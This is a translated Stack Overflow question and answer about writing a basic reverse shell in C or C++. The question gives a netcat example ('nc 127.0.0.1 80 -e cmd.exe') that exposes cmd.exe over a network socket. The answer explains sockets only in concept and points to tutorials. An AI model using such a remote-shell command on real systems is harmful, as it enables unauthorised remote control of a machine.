我正在尝试找到C或C++的基本反向 shell 示例,

基本上,我想编写代码来模拟以下netcat方案:

Listener:
------------------
C:\nc -L -p 80

Client
--------------
C:\nc 127.0.0.1 80 -e cmd.exe

对于不讲netcat的人:

这意味着我想将cmd.exe中的stdin和stdout重定向到网络的流中。
因此,来自远程机器的用户可以从远程计算机运行cmd.exe。

我正在寻找C / C++示例代码来做到这一点?

最佳答案

netcat基本上是接受(当充当服务器时)或打开(当充当客户端时)套接字的东西。键入stdin的所有内容都将写入套接字。从套接字读取的所有内容都会写入stdout。任何错误都会写入stderr

这就是基础。好像您在Windows上使用它,并将标准IO附加到命令 shell 一样。我不确定为什么/对您有什么用,所以现在我将忽略它。

无论如何,您需要做的是编写一个接受/打开套接字的应用程序,写入...等等...(请参见第1段)。

在线上有很多东西可以解释如何做到这一点。问题的最终答案取决于您为什么要执行此操作(即为什么不只使用netcat),是否要在任何平台上或仅在Windows上构建(并且可能使用Windows UI组件的)兼容POSIX的漂亮应用程序),以及其他注意事项。

我建议您首先在Google上搜索socket programming in csocket programming in c++Windows socket programming之类的内容。

关于c++ - 在C(++)中寻找基本的反向Shell示例,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/1177257/

10-16 05:59